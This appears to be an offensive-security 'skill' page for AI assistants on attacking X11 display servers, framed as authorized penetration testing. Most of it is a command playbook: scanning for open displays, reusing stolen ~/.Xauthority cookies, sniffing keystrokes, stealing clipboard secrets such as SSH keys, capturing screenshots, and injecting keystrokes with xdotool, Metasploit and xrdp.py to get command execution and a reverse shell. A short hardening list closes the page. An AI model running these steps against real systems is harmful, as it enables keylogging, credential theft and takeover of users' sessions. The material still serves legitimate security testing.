Testing the X Window System (X11) display server during authorized engagements. X11 listens on TCP 6000+<display> and the local Unix socket /tmp/.X11-unix/X<display>. Covers detecting unauthenticated ("xhost +") access with nmap NSE and Metasploit, abusing MIT-MAGIC-COOKIE-1 auth tokens from ~/.Xauthority, window/clipboard enumeration, keystroke sniffing (xspy), screenshotting (xwd), live shadowing, and keystroke injection (xdotool) for command execution.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
Testing the X Window System (X11) display server during authorized engagements. X11 listens on TCP 6000+<display> and the local Unix socket /tmp/.X11-unix/X<display>. Covers detecting unauthenticated ("xhost +") access with nmap NSE and Metasploit, abusing MIT-MAGIC-COOKIE-1 auth tokens from ~/.Xauthority, window/clipboard enumeration, keystroke sniffing (xspy), screenshotting (xwd), live shadowing, and keystroke injection (xdotool) for command execution.
During authorized assessments when TCP 6000+ is open (X11 display server)
When testing for unauthenticated X11 access (xhost + style misconfiguration)
When you have a local foothold and can read a valid ~/.Xauthority cookie
When you want screenshots, clipboard contents, keystroke capture, or input injection from an X session
When pivoting from a captured display to command execution on the host
Quick Enumeration
# Check for anonymous (open) X11 access
nmap -sV --script x11-access -p 6000 <IP>
msf> use auxiliary/scanner/x11/open_x11
# Local triage (post-foothold) — find DISPLAY and cookieecho"$DISPLAY"ls -lah /tmp/.X11-unix/
ps -efww | grep -E '[X]org|[X]wayland'# look for -auth <file> in cmdline
xauth info
xauth list
# Shodan-style discovery# port:6000 x11
Critical: Checks Most Often Missed
Open X11 (no auth) — xhost + or open access control lets any host connect to display :0 with no token. Confirm with x11-access / open_x11, then enumerate windows directly.
MIT-MAGIC-COOKIE-1 reuse — the 128-bit cookie in ~/.Xauthority is sent in plaintext and grants full access. If you can read the file (or another user's), export XAUTHORITY=/path/to/.Xauthority and connect.
Cookie via Xorg -auth argument — the X server's command line often reveals the authoritative auth file path (ps -efww | grep Xorg), readable with sufficient privileges.
Access ≠ "just graphics" — a connected display enables window enumeration, clipboard theft, screenshots, keystroke sniffing, and input injection (effectively RCE in the user's session).
Unix socket foothold — even when 6000/tcp is closed, a local foothold + valid cookie abuses /tmp/.X11-unix/X<display>.
XSendEvent ignored — apps often drop injected events sent to a specific window; activate the window first, then inject normal key events for reliability.
How to CONFIRM: open access is confirmed when xdpyinfo -display <IP>:0 or xwininfo -root -tree -display <IP>:0 returns display/window data without an auth error. With a cookie, confirm by setting XAUTHORITY and running the same command successfully.
Workflow
Step 1: Enumerate (detect, find display + cookie)
# Remote anonymous check
nmap -sV --script x11-access -p 6000 <IP>
# Local: identify the active display and session
w # shows DISPLAY (e.g. :0) and WHATecho"$DISPLAY"; ls -lah /tmp/.X11-unix/
xauth list # cookies known to this user# Use a cookie you obtainedexport XAUTHORITY=/path/to/.Xauthority
Step 2: Authenticate / connect and inspect the display
# Keystroke sniffing
xspy <IP>:<display>
xinput --test_xi2 --display <IP>:<display> # monitor input events# Clipboard theft (credentials, tokens, SSH keys, password-manager pastes)
xclip -display <IP>:<display> -selection clipboard -o
xsel --display <IP>:<display> --clipboard --output
# Screenshot the root window
xwd -root -screen -silent -display <IP>:0 > screenshot.xwd
convert screenshot.xwd screenshot.png
# Live shadowing of a window / display
xwininfo -root -display <IP>:0 # get window ID (e.g. 0x45)
./xwatchwin <IP>:0 -w 0x45 # live view
xpra shadow :0 # maintained alternative
Step 4: Post-access / command execution
# Keystroke injection -> run commands in the user's session
WID=$(xdotool search --onlyvisible --name '.*' | head -n 1)
xdotool windowactivate --sync"$WID"
xdotool type --delay 50 'xterm &'
xdotool key Return
# (activating the window first beats XSendEvent filtering)# Metasploit keyboard-exec module
msf> use exploit/unix/x11/x11_keyboard_exec
# xrdp.py command exec / reverse shell over X11
./xrdp.py <IP>:0
./xrdp.py <IP>:0 --no-disp # then use R-Shell to a nc listener
nc -lvp 5555
Key Concepts
Concept
Description
X11 / X Window System
Network-capable windowing system for UNIX-like OSes
Display number
Maps to TCP 6000 + display and Unix socket /tmp/.X11-unix/X
MIT-MAGIC-COOKIE-1
128-bit shared secret in ~/.Xauthority sent plaintext to authorize clients
XAUTHORITY
Env var pointing to the auth cookie file
xhost access control
Host-based ACL; xhost + disables it (open access)
Input injection
Sending synthetic key/mouse events (xdotool) to the session
XSendEvent filtering
Apps ignore synthetic events targeted at a window; activate-then-type instead
Shadowing
Live viewing/control of a display via xwatchwin / xpra
Tools & Systems
Tool
Purpose
nmap (x11-access)
Detect unauthenticated X11 access
Metasploit open_x11 / x11_keyboard_exec
Detect open displays and inject commands
xauth
Inspect/manage MIT-MAGIC-COOKIE auth tokens
xdpyinfo / xwininfo / xlsclients / xinput
Display, window, client, and input enumeration
xspy
Keystroke sniffing on a connected display
xclip / xsel
Read clipboard/primary selection contents
xwd + convert
Capture and convert screenshots
xwatchwin / xpra
Live window/display shadowing
xdotool
Keystroke/mouse injection for command execution
Common Scenarios
Scenario 1: Open Display Screenshot
nmap --script x11-access flags display :0 as open. xwd -root -display <IP>:0 captures the desktop, exposing an open terminal and a password manager window.
Scenario 2: Cookie Reuse
A readable ~/.Xauthority is pulled from a foothold. Setting XAUTHORITY and running xdpyinfo confirms access; xspy then captures the user typing a sudo password.
Scenario 3: Clipboard Secret Theft
Connected to a display, xclip -selection clipboard -o returns a freshly copied SSH private key, reused to authenticate to other hosts.
Scenario 4: Input Injection to RCE
With access to display :0, xdotool activates a visible window and types commands to spawn a reverse shell, turning display access into code execution in the user's session.
Output Format
## X11 Finding
**Service**: X Window System (X11)
**Severity**: <Critical|High|Medium>
**Host**: <IP>:6000 (display :<n>)
**Access**: <open/no-auth | cookie-reuse>
### Summary
<What was found: open display, reusable cookie, keystroke capture, clipboard theft, RCE via injection>
### Evidence
- Command: <nmap / xdpyinfo / xspy / xclip / xdotool>
- Output: <display info, sniffed keystrokes (redacted), screenshot path>
### Impact Demonstrated
| Capability | Result |
|------------|--------|
| Screenshot | desktop captured |
| Keylogging | credentials observed |
| Input injection | command executed in user session |
### Recommendation
1. Never disable X11 access control (`xhost +`); use cookie-based auth only
2. Tunnel X11 over SSH (X11 forwarding) instead of exposing TCP 6000
3. Disable the X server TCP listener (`-nolisten tcp`) where not required
4. Protect ~/.Xauthority files and restrict the Xorg -auth file permissions
5. Firewall ports 6000-6010 from untrusted networks
